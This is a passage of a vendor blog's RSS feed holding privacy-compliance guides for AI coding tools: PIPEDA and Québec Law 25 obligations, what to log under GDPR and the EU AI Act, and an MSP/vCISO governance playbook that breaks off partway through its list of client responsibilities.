<p>The OPC's cross-border guidance explains how this applies to vendors outside Canada. PIPEDA does not prohibit transfers for processing outside Canada. The organization stays accountable, must take all reasonable steps to protect the information while the third party holds it, and should be satisfied that the vendor has adequate safeguards. The OPC also says a transfer for processing is a "use", so the data can only be used for the purposes it was originally collected for (<a href="https://www.priv.gc.ca/en/privacy-topics/airports-and-borders/gl_dab_090127/">OPC, Guidelines for processing personal data across borders</a>).</p>
<p>Evidence to keep: the vendor agreement or data processing terms for each AI tool, the tool's privacy settings (for example, Cursor Privacy Mode), and the name of the person who approved the tool.</p>
<p><strong>2. Safeguards: are controls appropriate to the sensitivity?</strong></p>
<p>Principle 4.7 requires security safeguards appropriate to the sensitivity of the information, including organizational and technological measures. A production database dump in a prompt is more sensitive than a stack trace with a request ID.</p>
<p>Evidence to keep: which repositories hold customer data, how agent read access is limited (for example, Cursor Read Access set to Workspace), and how secrets and personal data are redacted in logs and session records.</p>
<p><strong>3. Openness: does your privacy policy describe the flow?</strong></p>
<p>Principle 4.8 requires organizations to make information about their policies and practices available. The OPC's cross-border guidance emphasizes transparency about foreign processing and possible access under foreign law. Review whether your privacy information accurately describes the AI vendors and processing purposes involved.</p>
<p><strong>4. Breaches: what if personal data leaks through an agent?</strong></p>
<p>Under PIPEDA, organizations must report to the OPC breaches of security safeguards that pose a real risk of significant harm, notify affected people, and keep records of all breaches for two years, even breaches that are not reported (<a href="https://www.priv.gc.ca/en/privacy-topics/business-privacy/breaches-and-safeguards/privacy-breaches-at-your-business/gd_pb_201810/">OPC, What you need to know about mandatory reporting of breaches</a>).</p>
<p>If an agent sends a customer database credential or customer records somewhere they should not go, assess it under your breach process. The session record is often the best evidence of what was sent and when.</p>
<h2>What the OPC expects from organizations that use generative AI</h2>
<p>The OPC's principles for generative AI separate "developers and providers" from "organizations using generative AI". For organizations using these systems, the OPC says, where possible and reasonable, to use anonymized or de-identified information in prompts instead of personal information; to enter sensitive or confidential personal information into a prompt only where authorized; and not to retain prompts or use them for secondary purposes unless required. It also recommends assessments such as privacy impact assessments (<a href="https://www.priv.gc.ca/en/privacy-topics/technology/artificial-intelligence/gd_principles_ai/">OPC, Principles for responsible, trustworthy and privacy-protective generative AI technologies, December 7, 2023</a>).</p>
<p>These principles are guidance, not new statutory duties. They show how the regulator reads the existing law.</p>
<h2>Québec Law 25: what changes if you hold Québec personal information</h2>
<p>Law 25 amended Québec's Act respecting the protection of personal information in the private sector (CQLR c P-39.1). Section numbers below refer to that Act (<a href="https://www.legisquebec.gouv.qc.ca/en/document/cs/P-39.1">LegisQuébec, P-39.1</a>, current to October 15, 2026). The CAI summarizes the main changes and their dates on its site (<a href="https://www.cai.gouv.qc.ca/protection-renseignements-personnels/sujets-et-domaines-dinteret/principaux-changements-loi-25">CAI, principaux changements de la Loi 25</a>).</p>
<p>Whether the Act applies to you depends on your activities and the information involved. Having one Québec user does not settle the question. Confirm applicability with a privacy advisor before treating the following checklist as a statement of your company's obligations.</p>
<table>
<thead>
<tr>
<th>Obligation</th>
<th>Section</th>
<th>What it means for AI coding tools</th>
</tr>
</thead>
<tbody><tr>
<td>Person in charge of the protection of personal information</td>
<td>s. 3.1</td>
<td>By default, the person with the highest authority. They can delegate in writing. Title and contact details must be on your website. They should approve AI tool use that touches personal information.</td>
</tr>
<tr>
<td>Governance policies</td>
<td>s. 3.2</td>
<td>Written policies on keeping and destroying personal information and on staff roles. Session record retention belongs here.</td>
</tr>
<tr>
<td>Privacy impact assessment for information systems</td>
<td>s. 3.3</td>
<td>Required for any project to acquire, develop or overhaul an information system involving personal information. Consult the person in charge from the start.</td>
</tr>
<tr>
<td>Assessment before communicating outside Québec</td>
<td>s. 17</td>
<td>Before personal information leaves Québec, assess sensitivity, purpose, protection measures (including contracts) and the destination's legal framework. A written agreement must reflect the result. This also applies when you entrust a body outside Québec to hold or use the information for you. The CAI says this has applied since September 2023.</td>
</tr>
<tr>
<td>Written mandate for service providers</td>
<td>s. 18.3</td>
<td>A service provider can receive personal information without consent only under a written mandate or contract that sets confidentiality measures and says the provider must not keep it after the contract ends.</td>
</tr>
<tr>
<td>Confidentiality incidents</td>
<td>s. 3.5–3.7</td>
<td>Take reasonable measures to reduce the risk. If an incident presents a risk of serious injury, promptly notify the CAI and the people concerned.</td>
</tr>
<tr>
<td>Incident register</td>
<td>s. 3.8</td>
<td>Keep a register of all confidentiality incidents. Send a copy to the CAI if it asks.</td>
</tr>
<tr>
<td>Security measures</td>
<td>s. 10</td>
<td>Measures reasonable for the sensitivity, purpose, quantity, distribution and medium of the information.</td>
</tr>
</tbody></table>
<p>Two points matter most for engineering teams:</p>
<ul>
<li>For an enterprise subject to the Act, sending personal information to a model provider outside Québec requires a section 17 assessment. Complete it before the communication.</li>
<li>Assess the capture service separately. Where the Act applies and a session copy containing personal information is entrusted to a body outside Québec, section 17 is relevant to that flow too. ReclaimLLM's hosted regions are the US and EU.</li>
</ul>
<p>Whether a given AI tool rollout counts as "acquiring an information system" under s. 3.3 is a legal question. Many teams will find it simpler to do a proportionate assessment than to argue it is not required. The Act says the assessment must be proportionate to the sensitivity, purpose, quantity, distribution and medium of the information.</p>
<h2>Evidence to keep</h2>
<p>A short, current file is more useful than a long policy nobody reads.</p>
<ul>
<li><strong>Tool register:</strong> approved tools (Cursor, Claude Code, Copilot, Codex, Antigravity), versions, owner, approval date.</li>
<li><strong>Settings record per tool:</strong> Cursor Privacy Mode and Read Access; Claude Code permission rules; Copilot content exclusion. Note who can change them.</li>
<li><strong>Vendor file:</strong> data processing terms, sub-processor list, retention terms, region.</li>
<li><strong>Assessment:</strong> your PIPEDA vendor review and, where Law 25 applies, the s. 17 assessment and written agreement.</li>
<li><strong>Redaction rule list:</strong> what is removed from session records before upload, tested with synthetic data.</li>
<li><strong>Session records:</strong> enough to show what an agent read and sent, with secrets and personal data redacted.</li>
<li><strong>Incident and breach register:</strong> one system can support both regimes if it meets each regime's required fields and retention periods. PIPEDA requires at least two years; do not assume that also satisfies Québec's requirements.</li>
</ul>
<h2>Per-tool checklist</h2>
<p>Fill in one column per tool. Take each answer from the vendor's current documentation or contract, and keep the link.</p>
<table>
<thead>
<tr>
<th>Question</th>
<th>Cursor</th>
<th>Claude Code</th>
<th>Copilot</th>
<th>Codex</th>
<th>Antigravity</th>
</tr>
</thead>
<tbody><tr>
<td>Which plan do we use (business or personal)?</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Is our data used for training? What is the retention setting?</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Where is inference processed, and by which sub-processors?</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Can admins enforce the privacy and permission settings?</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Can we limit what files the agent reads?</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Can we see what files the agent read and what it sent?</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody></table>
<h2>10 questions to answer before rollout</h2>
<ol>
<li>Who is accountable for AI coding tools in our company (and, for Québec, who is the person in charge of the protection of personal information)?</li>
<li>Which repositories, logs and fixtures hold customer personal information?</li>
<li>Can agents reach those files by default? What did we set (for example, Cursor Read Access)?</li>
<li>Which vendors and model providers receive prompts and file content, and where?</li>
<li>Do our contracts give a comparable level of protection (PIPEDA 4.1.3), and does each say retention and training terms?</li>
<li>If we hold Québec personal information: did we do the s. 17 assessment and sign the written agreement?</li>
<li>Does our privacy policy tell customers their information may be processed outside Canada?</li>
<li>What do we redact from prompts and from stored session records, and did we test it?</li>
<li>How long do we keep session records, and who can search them?</li>
<li>If an agent sends personal information or a credential to the wrong place, who decides whether it is a reportable breach, and where is it recorded?</li>
</ol>
<h2>Where ReclaimLLM fits</h2>
<p>ReclaimLLM captures AI coding sessions from Cursor, Claude Code, Copilot, Codex and Antigravity, and makes them searchable. For this guide, the relevant features are:</p>
<ul>
<li><strong>Local redaction before upload.</strong> Configured string replacements, such as usernames and absolute paths, run on the laptop before the session copy is uploaded (<a href="https://docs.reclaimllm.com/guides/local-redaction">local redaction</a>). It does not change what the AI tool already sent to its model provider.</li>
<li><strong>Detection after the fact.</strong> Detectors flag secrets, external network egress and some personal data in captured sessions. They run on an hourly or daily sweep and alert; they do not block in real time. The PII detector covers emails, phone numbers, US SSNs and credit card numbers. It does not detect names, addresses or Canadian SINs (<a href="https://docs.reclaimllm.com/reference/pii-detection">PII detection</a>).</li>
<li><strong>Session search and export</strong> to answer "what did the agent read and send?" when you assess an incident.</li>
<li><strong>Encrypted session storage</strong> for raw session details on Paid and Enterprise (<a href="https://reclaimllm.com/news/encrypted-session-storage-for-paid-and-enterprise-users">encrypted storage</a>).</li>
<li><strong>File lineage</strong> on Paid and Enterprise shows which files an AI session touched, which helps answer "did the agent read the customer export?" (<a href="https://reclaimllm.com/news/project-scoped-file-lineage">file lineage</a>).</li>
<li><strong>Account deletion</strong> on Free and Paid, with a 30-day grace period before the purge (<a href="https://reclaimllm.com/news/deferred-user-account-deletion">account deletion</a>).</li>
<li><strong>Region:</strong> hosted data is stored in the US or EU region today (<a href="https://docs.reclaimllm.com/reference/data-residency">data residency</a>). Canadian in-country hosting is planned for Q1 2027; it is not available yet. If you hold Québec personal information, include ReclaimLLM in your s. 17 assessment like any other vendor. Section 17 is about communication outside Québec, so a Canadian region outside Québec would not remove that step.</li>
<li><strong>SOC 2:</strong> SOC 2 Type II targeted Q4 2026.</li>
</ul>
<p>For the wider programme, see <a href="https://reclaimllm.com/solutions/security-compliance">security and compliance for AI coding</a>. Related reading: <a href="https://reclaimllm.com/blogs/shadow-ai-coding-tools-ciso-checklist">shadow AI coding tools: a CISO checklist</a> and <a href="https://reclaimllm.com/blogs/prevent-api-keys-env-from-ai-coding-tools">keeping API keys and .env files away from AI coding tools</a>.</p>
<p><a href="https://reclaimllm.com/solutions/security-compliance">Review AI coding security and compliance</a>.</p>
<h2>FAQ</h2>
<h3>Can we wait for federal AI legislation before reviewing these tools?</h3>
<p>No. AIDA in Bill C-27 did not pass, and LEGISinfo lists Bill C-36 as awaiting second reading. Existing federal and provincial privacy laws still apply according to their scope when AI tools process personal information.</p>
<h3>Can ReclaimLLM store data in Canada?</h3>
<p>Not today. Hosted data is stored in the US or EU region. Canadian in-country hosting is planned for Q1 2027.</p>
<h3>Does PIPEDA ban sending code to a US model provider?</h3>
<p>No. The OPC says PIPEDA does not prohibit transfers for processing outside Canada. You remain accountable and must protect the information through contracts and other means (<a href="https://www.priv.gc.ca/en/privacy-topics/airports-and-borders/gl_dab_090127/">OPC cross-border guidelines</a>). Source code alone is often not personal information; the question is what personal information travels with it.</p>
<h3>Is a developer's username in a prompt a PIPEDA issue?</h3>
<p>Usually not, for a provincially regulated company, because PIPEDA covers employee information only for federally regulated businesses (<a href="https://www.priv.gc.ca/en/privacy-topics/privacy-laws-in-canada/the-personal-information-protection-and-electronic-documents-act-pipeda/pipeda_brief/">PIPEDA in brief</a>). Provincial law or your own policy may still apply, and a client name in the same path can be confidential business information.</p>
<h3>Do we need a Law 25 assessment before using an AI coding tool?</h3>
<p>If your enterprise is subject to the Act and communicates personal information outside Québec through the tool, s. 17 requires an assessment first. Section 3.3 may separately apply to an information-system project involving personal information. Confirm the scope with your privacy advisor.</p>
<p>Not legal advice. Talk to your privacy counsel before you rely on any point in this guide.</p>
<p><a href="https://reclaimllm.com/solutions/security-compliance">Review AI coding security and compliance</a>.</p>
<p>Originally published on ReclaimLLM: <a href="https://reclaimllm.com/blogs/ai-coding-tools-pipeda-law-25">https://reclaimllm.com/blogs/ai-coding-tools-pipeda-law-25</a></p>
]]></content:encoded></item><item><title><![CDATA[AI coding agents under GDPR and the EU AI Act: what to log]]></title><description><![CDATA[What EU engineering leaders should record when Cursor, Claude Code or Copilot touch personal data: GDPR duties, AI Act scope and an evidence list.]]></description><link>https://reclaimllm-blog.hashnode.dev/ai-coding-agents-under-gdpr-and-the-eu-ai-act-what-to-log</link><guid isPermaLink="true">https://reclaimllm-blog.hashnode.dev/ai-coding-agents-under-gdpr-and-the-eu-ai-act-what-to-log</guid><category><![CDATA[cybersecurity]]></category><category><![CDATA[AI]]></category><category><![CDATA[Security]]></category><dc:creator><![CDATA[ReclaimLLM]]></dc:creator><pubDate>Sat, 14 Nov 2026 22:16:47 GMT</pubDate><content:encoded><![CDATA[<blockquote>
<p>This article was originally published on ReclaimLLM: <a href="https://reclaimllm.com/blogs/ai-coding-agents-gdpr-eu-ai-act">https://reclaimllm.com/blogs/ai-coding-agents-gdpr-eu-ai-act</a></p>
</blockquote>
<h1>AI coding agents under GDPR and the EU AI Act: what to log</h1>
<p><em>Updated November 14, 2026.</em></p>
<blockquote>
<p>Not legal advice. This is general information for engineering leaders about EU law, not UK GDPR. Ask a qualified data protection advisor about your own processing and check the linked sources when you rely on them.</p>
</blockquote>
<p>An AI coding agent reads a log file to fix a bug. The log holds customer email addresses. The agent sends part of it to a model provider in another country. If the processing falls within the GDPR's scope, the data flow needs a lawful basis, appropriate safeguards and an assessment of the recipient's role. It may also be an international transfer. The AI Act is a separate assessment based on the system and its use.</p>
<p>This guide separates the two laws, then gives a practical list of what to record. It is for CTOs and heads of engineering at EU software companies, including fintech and health software teams.</p>
<h2>Short answer</h2>
<ul>
<li><strong>GDPR applies</strong> to personal-data processing within its territorial and material scope. Your company may be the controller or may process data for a customer. Confirm whether each vendor acts as a processor, sub-processor or independent controller for the relevant purpose.</li>
<li><strong>The EU AI Act</strong> makes your company a "deployer" of the AI system. For a coding assistant used to write code, the main duty in force today is <strong>AI literacy</strong> (Article 4). Coding assistants are not in the Act's high-risk use-case list, so the high-risk logging duties do not apply to ordinary use.</li>
<li><strong>The record you keep</strong> is mostly a GDPR record: what personal data went where, under which contract, for how long, and what you did when something went wrong.</li>
</ul>
<h2>GDPR and the AI Act are not the same question</h2>
<table>
<thead>
<tr>
<th>Law</th>
<th>Question</th>
<th>What changes</th>
<th>What does not change</th>
</tr>
</thead>
<tbody><tr>
<td>GDPR</td>
<td>What personal data is processed, by whom, on what basis, and where does it go?</td>
<td>The data, the role and the transfer path</td>
<td>You still need a record of processing even when the tool changes</td>
</tr>
<tr>
<td>EU AI Act</td>
<td>What kind of AI system is this, and what does the deployer owe?</td>
<td>The classification (high-risk, limited-risk, minimal-risk)</td>
<td>Coding assistants are not a high-risk use case</td>
</tr>
</tbody></table>
<p>The EDPB's SME guide says the GDPR applies to any organisation that processes personal data in the EU, or that offers goods or services to people in the EU, even if it is based outside the EU (<a href="https://www.edpb.europa.eu/sme/learn-the-basics/data-protection-basics_en">EDPB SME guide, data protection basics</a>). The GDPR's territorial scope is in Article 3, and the material scope, including the household exemption, is in Article 2. Check the linked <a href="https://eur-lex.europa.eu/legal-content/EN/TXT/?uri=CELEX%3A02016R0679-20160504">GDPR text</a> and ask your advisor whether your processing falls within scope. The EDPB's guidance on <a href="https://www.edpb.europa.eu/sme/learn-the-basics/data-protection-basics_en">data protection basics</a> is a useful starting point.</p>
<p>The AI Act's scope is separate. It entered into force on 1 August 2024, and its duties apply in phases. The general-purpose AI rules apply from 2 August 2025, the high-risk rules from 2 August 2026, and the remaining rules from 2 August 2027 (see the <a href="https://digital-strategy.ec.europa.eu/en/policies/regulatory-framework-ai#:~:text=The%20AI%20Act%20entered%20into%20force%20on%201%20August%202024">AI Act application timeline</a>). AI literacy is the deployer duty in force today, and the Act's transparency duties for generated content do not apply to ordinary internal code.</p>
<h2>What to record for a coding agent</h2>
<p>The record below is the evidence list an engineering leader can keep per tool. It is not a record of processing under Article 30, but it feeds one.</p>
<p><strong>1. What personal data went into the prompt.</strong> Which categories: customer email addresses, logs, source code comments, internal user names. Record the source: which repository, which file, which log.</p>
<p><strong>2. Where it went.</strong> Which model provider, which region, which endpoint. Record the vendor's data terms and the region you selected.</p>
<p><strong>3. What the tool did with it.</strong> Which files the agent read, which it changed, which commands it ran, and which approvals the user gave or refused. The vendor's own records may not link these into one entry, so keep your own.</p>
<p><strong>4. What left the session.</strong> Which external calls the agent made: package downloads, MCP servers, web lookups, and any data sent to a third party. Record the destination and the data sent.</p>
<p><strong>5. What was kept, and for how long.</strong> The vendor's retention, the local record's retention, and the export you kept. Record the dates.</p>
<p><strong>6. What you did about a problem.</strong> A secret in a prompt, a file read outside the repo, an unexpected external call. Record the date, the action and the owner.</p>
<p><strong>7. What was agreed before you started.</strong> The policy, the approved tools, the data that must not enter prompts, and the settings you required. Record the version and the date.</p>
<p><strong>8. What you tested.</strong> A coverage test per tool: one allowed read, one denied read, one failed command, one file edit. Record what the capture showed and what it missed.</p>
<p>Most teams do not have this record today. The vendor's own records are not a single audit trail. Cursor staff stated that there is no platform audit trail linking a proposed tool call, the user's decision and the execution result into one record, and that approval-card decisions are not passed through hooks (<a href="https://forum.cursor.com/t/156247/10">Cursor forum, t/156247/10</a>). Build the record from the tool's own logs, the session capture and your own notes.</p>
<p>The retention clock starts when the data is created, not when you notice it. Keep the record for the period your policy states, and delete it when that period ends.</p>
<h2>What changes between vendors</h2>
<p>The record above is the same for every tool. What changes is what each vendor lets you see.</p>
<table>
<thead>
<tr>
<th>Vendor</th>
<th>What to log</th>
<th>Known gap</th>
</tr>
</thead>
<tbody><tr>
<td>Cursor</td>
<td>Tool calls, file reads and writes, approvals, external calls</td>
<td>Cloud Agent PR actions are not visible to project hooks; headless CLI runs do not yet run the <code>stop</code>, <code>beforeSubmitPrompt</code> or <code>afterAgentResponse</code> hooks</td>
</tr>
<tr>
<td>Claude Code</td>
<td>Permission decisions, file reads and writes, commands</td>
<td>Local settings may allow actions without a prompt; check <code>settings.local.json</code></td>
</tr>
<tr>
<td>Copilot</td>
<td>Agent mode tool calls, file reads and writes</td>
<td>Content exclusion does not cover every path; check the vendor's docs for the gaps</td>
</tr>
</tbody></table>
<p>Cursor's own docs describe the <a href="https://cursor.com/docs/agent/security/run-modes">run modes</a> and the <a href="https://cursor.com/docs/privacy/data-use">data use</a> for the agent. Cursor staff confirmed that the Cloud Agent pull-request tool runs on Cursor's backend and is not visible to project hooks (<a href="https://forum.cursor.com/t/178134/5">Cursor forum, t/178134/5</a>). The EDPB's guidance on <a href="https://www.edpb.europa.eu/sme/learn-the-basics/data-protection-basics_en">data protection basics</a> and on being compliant (<a href="https://www.edpb.europa.eu/sme/be-compliant_en">EDPB, be compliant</a>) is a useful starting point for the GDPR side.</p>
<h2>What an auditor or customer asks for</h2>
<table>
<thead>
<tr>
<th>Question</th>
<th>What to show</th>
</tr>
</thead>
<tbody><tr>
<td>What personal data do you process, and on what basis?</td>
<td>The record of processing (Article 30), the lawful basis for each purpose, and the categories of data (<a href="https://www.edpb.europa.eu/sme/be-compliant_en">EDPB, be compliant</a>)</td>
</tr>
<tr>
<td>Who processes it for you?</td>
<td>The vendor's role (processor, sub-processor or independent controller) and the contract (<a href="https://www.edpb.europa.eu/sme/learn-the-basics/data-controller-or-data-processor_en">EDPB, controller or processor</a>)</td>
</tr>
<tr>
<td>Where does it go?</td>
<td>The regions, the transfer mechanism, and the safeguards for international transfers (<a href="https://www.edpb.europa.eu/sme/data-protection-rules/international-data-transfers_en">EDPB, international data transfers</a>)</td>
</tr>
<tr>
<td>How long do you keep it?</td>
<td>The retention periods for each category, and the deletion dates</td>
</tr>
<tr>
<td>What happens when something goes wrong?</td>
<td>The breach process, the 72-hour notification duty, and the record of incidents (<a href="https://www.edpb.europa.eu/sme/data-protection-rules/data-breaches_en">EDPB, data breaches</a>)</td>
</tr>
<tr>
<td>What did the agent do?</td>
<td>The session record: prompts, tool calls, file reads and writes, approvals, and external calls</td>
</tr>
</tbody></table>
<p>The GDPR's record of processing is in Article 30. Organisations with fewer than 250 employees are exempt from keeping a record under Article 30(5), unless the processing is not occasional, is likely to result in a risk, or involves special categories of data or criminal-conviction data (<a href="https://eur-lex.europa.eu/legal-content/EN/TXT/?uri=CELEX%3A02016R0679-20160504&amp;qid=1762796800000">Article 30(5)</a>). Check the <a href="https://eur-lex.europa.eu/legal-content/EN/TXT/?uri=CELEX%3A02016R0679-20160504">GDPR text</a> and ask your advisor whether the exemption applies to you.</p>
<p>Keep the vendor's own terms with the record: the data-processing agreement, the retention terms, and the sub-processor list. The EDPB's guidance on <a href="https://www.edpb.europa.eu/sme/data-protection-rules/secure-personal-data_en">secure personal data</a> and on <a href="https://www.edpb.europa.eu/sme/data-protection-rules/data-breaches_en">data breaches</a> is a useful starting point.</p>
<h2>What ReclaimLLM records</h2>
<p>ReclaimLLM captures AI coding sessions from Cursor, Claude Code, Copilot, Codex and Antigravity through hooks, and makes them searchable. It records the prompt, the tool calls, the files read and written, and the approval decisions. It applies local redaction before upload, so secrets and personal data can be removed before the session leaves the machine.</p>
<p><strong>What it records:</strong></p>
<ul>
<li>The prompt and the tool calls in the session.</li>
<li>The files read and written, and the commands run.</li>
<li>The approval decisions the user made.</li>
<li>The external calls the agent made, where the hooks see them.</li>
</ul>
<p><strong>What it does not record:</strong></p>
<ul>
<li>Paths the hooks do not see, such as the Cloud Agent pull-request tool and headless CLI runs in Cursor.</li>
<li>The vendor's own backend records, which the hooks cannot reach.</li>
<li>Data that local redaction removed before upload.</li>
</ul>
<p>Detection of secrets and external egress in captured sessions runs on an hourly or daily sweep and raises alerts; it does not block. It cannot prevent a secret from being sent in the first place.</p>
<h2>What to ask your counsel</h2>
<ul>
<li>Does the GDPR apply to our processing, and are we the controller or the processor for each purpose?</li>
<li>Which lawful basis applies to each purpose, and is consent the right basis for employee data?</li>
<li>Which vendors are processors, sub-processors or independent controllers for the relevant purpose?</li>
<li>Which transfers are international transfers, and which safeguards apply?</li>
<li>What is our retention period for session records, and when do we delete them?</li>
</ul>
<h2>Where ReclaimLLM fits</h2>
<p>ReclaimLLM gives you the session record for the list above. It captures sessions from the tools your team uses, applies local redaction before upload, and keeps the record for the retention period you choose. The record is exportable for an audit or a customer questionnaire. Check the current <a href="https://reclaimllm.com/pricing">plan comparison</a> and confirm the available team-management, audit and integration capabilities for your account before including them in a compliance scope. Hosted data is stored in the US or EU region today (see <a href="https://docs.reclaimllm.com/reference/data-residency">data residency</a>).</p>
<p>The record is only as complete as the hooks that capture it. The vendor's own backend records are not visible to the hooks, and the Cloud Agent and headless CLI gaps apply. State the gaps in the record, and do not present it as complete.</p>
<p>For the method behind the record, see <a href="https://reclaimllm.com/blogs/ai-coding-session-audit-trail">AI coding session audit trails</a>. For the Canadian rules, see our <a href="https://reclaimllm.com/blogs/ai-coding-tools-pipeda-law-25">PIPEDA and Law 25 guide</a>.</p>
<h2>FAQ</h2>
<h3>Does the AI Act require logging for coding assistants?</h3>
<p>No, not for ordinary use. Coding assistants are not in the Act's high-risk use-case list, so the high-risk logging duties in Article 12 and the deployer duties in Article 26 do not apply to ordinary code writing. The main duty in force today is AI literacy under Article 4 (<a href="https://artificialintelligenceact.eu/article/3/">AI Act Service Desk, Article 3</a>; <a href="https://digital-strategy.ec.europa.eu/en/faqs/artificial-intelligence-act-ai-literacy">European Commission, AI literacy Q&amp;A</a>).</p>
<h3>What is AI literacy?</h3>
<p>Article 4 requires providers and deployers to ensure that staff have a sufficient level of AI literacy, taking into account their technical knowledge, experience, education and training and the context in which the AI systems are to be used. The Commission's <a href="https://digital-strategy.ec.europa.eu/en/faqs/artificial-intelligence-act-ai-literacy">AI literacy Q&amp;A</a> explains what that means in practice.</p>
<h3>Who is the deployer?</h3>
<p>The deployer is the natural or legal person, public authority, agency or other body using an AI system under its authority, except where the AI system is used in the course of a personal non-professional activity (<a href="https://artificialintelligenceact.eu/article/3/">AI Act Service Desk, Article 3</a>). For a coding assistant used at work, the company is the deployer.</p>
<h3>What does the deployer owe under Article 26?</h3>
<p>Article 26 sets out the deployer duties for high-risk AI systems, including using the system in accordance with the instructions for use, ensuring human oversight, and keeping the logs generated by the system. These duties apply to high-risk systems, not to ordinary coding assistants (<a href="https://artificialintelligenceact.eu/article/26/">AI Act Service Desk, Article 26</a>).</p>
<p><a href="https://reclaimllm.com/solutions/security-compliance">Review AI coding security and compliance</a>.</p>
<p>Originally published on ReclaimLLM: <a href="https://reclaimllm.com/blogs/ai-coding-agents-gdpr-eu-ai-act">https://reclaimllm.com/blogs/ai-coding-agents-gdpr-eu-ai-act</a></p>
]]></content:encoded></item><item><title><![CDATA[Offering AI coding governance to your clients: an MSP and vCISO playbook]]></title><description><![CDATA[A scoped engagement MSPs, MSSPs and vCISOs can deliver to software clients using Cursor, Claude Code or Copilot: inventory, policy, evidence and review.]]></description><link>https://reclaimllm-blog.hashnode.dev/offering-ai-coding-governance-to-your-clients-an-msp-and-vciso-playbook</link><guid isPermaLink="true">https://reclaimllm-blog.hashnode.dev/offering-ai-coding-governance-to-your-clients-an-msp-and-vciso-playbook</guid><category><![CDATA[cybersecurity]]></category><category><![CDATA[AI]]></category><category><![CDATA[Security]]></category><dc:creator><![CDATA[ReclaimLLM]]></dc:creator><pubDate>Sat, 14 Nov 2026 22:12:41 GMT</pubDate><content:encoded><![CDATA[<blockquote>
<p>This article was originally published on ReclaimLLM: <a href="https://reclaimllm.com/blogs/offering-ai-coding-governance-to-clients">https://reclaimllm.com/blogs/offering-ai-coding-governance-to-clients</a></p>
</blockquote>
<h1>Offering AI coding governance to your clients: an MSP and vCISO playbook</h1>
<p><em>Updated November 14, 2026.</em></p>
<p>Your software clients are adopting Cursor, Claude Code, Copilot, Codex and Antigravity. Their customers and auditors are starting to ask two questions: <strong>which AI tools touch our code and data, and can you show what the agents did?</strong></p>
<p>When no one owns that answer internally, an MSP, MSSP or vCISO who already runs the client's security programme can help. This playbook describes a scoped engagement you can deliver, a sample deliverable, and the limits you should state up front.</p>
<h2>Why clients ask now</h2>
<p>The tools' own records leave gaps that a client cannot close by reading the vendor's docs:</p>
<ul>
<li><strong>No single record of approvals.</strong> Cursor staff stated that there is no platform audit trail linking a proposed tool call, the user's decision and the execution result into one record, and that approval-card decisions are not passed through hooks (<a href="https://forum.cursor.com/t/156247/10">Cursor forum, t/156247/10</a>).</li>
<li><strong>Hooks do not cover every path.</strong> Cursor staff confirmed that the Cloud Agent pull-request tool runs on Cursor's backend and is not visible to project hooks (<a href="https://forum.cursor.com/t/177855/7">t/177855/7</a>), and that headless CLI mode does not yet run the <code>stop</code>, <code>beforeSubmitPrompt</code> or <code>afterAgentResponse</code> hooks (<a href="https://forum.cursor.com/t/177989/7">t/177989/7</a>).</li>
<li><strong>Defaults are open.</strong> Cursor's Read Access setting, available since Cursor 3.23, defaults to System, so the agent can read outside the project unless someone selects Workspace (<a href="https://forum.cursor.com/t/149418/15">t/149418/15</a>; <a href="https://cursor.com/docs/agent/security/run-modes">run modes docs</a>). Even with a sandbox, the agent can ask to run a command outside it, and a granted request lifts the limit for that command (<a href="https://forum.cursor.com/t/177516">t/177516</a>).</li>
</ul>
<p>None of these is a reason to ban the tools. They are reasons for someone to write down the settings, collect evidence and review it on a schedule. That is a service.</p>
<h2>The engagement: scope</h2>
<p>The scope below is a proposal you can adapt. It is not a ReclaimLLM-certified programme and the timings are estimates, not commitments.</p>
<p><strong>Prerequisites from the client</strong></p>
<ul>
<li>A named client owner (CTO or engineering lead) with authority to change tool settings.</li>
<li>Admin access, or an admin who will screen-share, for each AI tool in use.</li>
<li>A list of repositories that hold customer data or production credentials.</li>
<li>Agreement on which personal data and secrets are in scope.</li>
</ul>
<p><strong>Phase 1: Inventory (week 1)</strong></p>
<ul>
<li>List every AI coding tool in use, by team, with version and plan (Cursor, Claude Code, Copilot, Codex, Antigravity, others).</li>
<li>Record how each is installed and who can install extensions, plugins and MCP servers.</li>
<li>Record key settings per tool. For Cursor: Privacy Mode, Read Access, run mode, hooks in use. For Claude Code: permission rules in shared and local settings. For Copilot: content exclusion.</li>
</ul>
<p><strong>Phase 2: Policy (week 2)</strong></p>
<ul>
<li>A one-page AI coding policy: approved tools, data that must not enter prompts, required settings, how to report a mistake. Start from our <a href="https://reclaimllm.com/blogs/ai-governance-small-engineering-teams">AI governance guide for small engineering teams</a>.</li>
<li>A vendor file per tool: data terms, retention, region, sub-processors. Where relevant, map it to the client's privacy obligations (for Canadian clients, see our <a href="https://reclaimllm.com/blogs/ai-coding-tools-pipeda-law-25">PIPEDA and Law 25 guide</a>; for EU clients, the <a href="https://reclaimllm.com/blogs/ai-coding-agents-gdpr-eu-ai-act">GDPR and AI Act guide</a>).</li>
</ul>
<p><strong>Phase 3: Evidence (weeks 2–3)</strong></p>
<ul>
<li>Set up session capture for the in-scope teams, with local redaction rules tested against synthetic data.</li>
<li>Run a small coverage test per tool and surface: one allowed read, one denied read, one failed command, one file edit. Record what the capture shows and what it misses. See <a href="https://reclaimllm.com/blogs/ai-coding-session-audit-trail">AI coding session audit trails</a> for the method.</li>
<li>Write a coverage note listing known gaps (for example, Cloud Agent PR actions and headless CLI hooks in Cursor).</li>
</ul>
<p><strong>Phase 4: Review rhythm (week 4, then ongoing)</strong></p>
<ul>
<li>A weekly or monthly review: new tools, setting changes, flagged sessions, secrets that need rotation.</li>
<li>A quarterly re-run of the coverage test after tool updates.</li>
<li>An evidence pack the client can hand to an auditor or a customer security questionnaire. Our <a href="https://reclaimllm.com/blogs/soc-2-evidence-ai-coding-tools">SOC 2 evidence guide</a> shows what auditors usually ask for.</li>
</ul>
<p><strong>Acceptance criteria</strong></p>
<p>The engagement is complete when the client has: a signed-off policy; an inventory and settings record for every in-scope tool; a coverage note with known gaps and owners; one completed review cycle; and a named internal owner for the ongoing review.</p>
<p><strong>What stays the client's responsibility</strong></p>
<ul>
<li>Decisions on which tools to allow and which data may enter prompts.</li>
